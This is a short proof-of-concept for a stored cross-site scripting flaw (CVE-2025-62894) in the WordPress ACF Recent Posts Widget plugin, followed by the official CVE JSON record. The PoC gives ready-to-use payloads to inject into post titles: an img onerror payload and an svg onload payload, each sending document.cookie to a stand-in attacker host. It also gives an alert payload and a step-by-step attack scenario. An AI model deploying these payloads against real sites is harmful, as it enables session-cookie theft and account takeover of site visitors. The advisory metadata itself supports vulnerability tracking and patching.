CVE-2025-62894

<!-- WordPress ACF Recent Posts Widget Stored XSS PoC --> <!-- attacker injects this payload in post title/content --> <!-- Payload: --> <img src=x onerror=" fetch('https://attacker.com/steal?cookie=' + document.cookie) "> <!-- Attack scenario: --> 1. Attacker creates/edits a post with malicious payload in title 2. Post is saved and stored in database 3. ACF Recent Posts Widget displays the post 4. Malicious JS executes in victim's browser <!-- Example payload for testing: --> <script>alert('XSS Vulnerability Confirmed')</script> <!-- jQuery-based payload: --> <svg/onload=fetch('https://evil.com/log?c='+document.cookie)>

{"cve": {"id": "CVE-2025-62894", "sourceIdentifier": "[email protected]", "published": "2025-10-27T02:15:48.407", "lastModified": "2026-04-27T18:16:27.910", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in magicoders ACF Recent Posts Widget acf-recent-posts-widget allows Stored XSS.This issue affects ACF Recent Posts Widget: from n/a through <= 5.9.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/acf-recent-posts-widget/vulnerability/wordpress-acf-recent-posts-widget-plugin-5-9-3-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}